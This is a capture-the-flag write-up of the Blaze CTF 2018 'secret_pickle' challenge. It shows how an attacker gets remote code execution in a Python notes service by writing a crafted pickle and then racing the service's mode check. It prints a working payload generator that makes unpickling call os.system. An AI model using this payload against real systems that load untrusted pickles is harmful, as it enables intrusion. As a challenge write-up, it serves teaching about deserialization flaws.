Blaze CTF 2018 - secret_pickle (pwn)

May 7, 2018

Provided python source code

As name of this challenge implies, it was about python pickle.

> TLDR

  • pickle provides easy RCE if input data are received from an untrusted source
  • you cannot decode pickled data to UTF-8 unless you specify python2 backwards compatible protocol=0
  • in python, you can append module to the variable (etc. s=sys)
  • you can open 2 shells with opened nc ¯\_(ツ)_/¯

> eval

Even if this was certainly challenge with pickle, this immidiately got our attention:

 
if username == 'nsnc':
    while True:
        print(eval(input()[:5]))

However, we weren’t able to do anything evil with just 5 characters, even with tricks like s=sys.

> pickle

We moved on and searched for pickle. This was the only load occurence, so it had to be our entry point:

 
with open(directory + '/' + hashlib.md5(bytes(name, 'cp1252')).hexdigest(), 'rb') as f:
    pickle.load(f).prints()

There was 1 occurence of dump, but without the possibility of dumping our own crafted class which is required for RCE. We immidiately went for file.write calls since we have noticed that pickle.load(f) is unpickling binary file.

There is 1 option of writing arbitrary content without any sanitization where we could write our pickled shellcode:

 
while line:
    content += line + '\n'
    line = input()
with open(directory + '/' + hashlib.md5(bytes(name, 'cp1252')).hexdigest(), 'wb') as f:
    f.write(bytes(content, 'utf8'))  # content.encode('utf-8')

We used this simple python script to generate our payload:

 
import os
import pickle

class EvilNote:
    def __reduce__(self):
        return os.system, ('ls',)  # desired commands here

print(pickle.dumps(EvilNote(), protocol=0)) # notice `protocol=0`

Setting protocol=0 is necessary, otherwise your shellcode won’t be decodable from UTF-8. This string then gets encoded back to UTF-8 before writing to file.

> last catch

This however, still didn’t work. When we looked back at the source code, we noticed that file is deleting note in case if mode doesn’t match:

 
if choice == '0': # Structured Note
    try:
        with open(directory + '/mode', 'r') as f:
            if f.read() != 'structured':
                os.system('rm ' + hashlib.md5(bytes(username, 'cp1252')).hexdigest() + '/*')
    except:
        pass # so good
    with open(directory + '/mode', 'w') as f:
        f.write('structured')

This was bypassed easily:

  1. open read of structured note and let it wait on name = input('note name: ')
  2. open write of freeform note in new shell, write shellcode into your note
  3. write name of your freeform note and load your shellcode ¯\_(ツ)_/¯ 🎉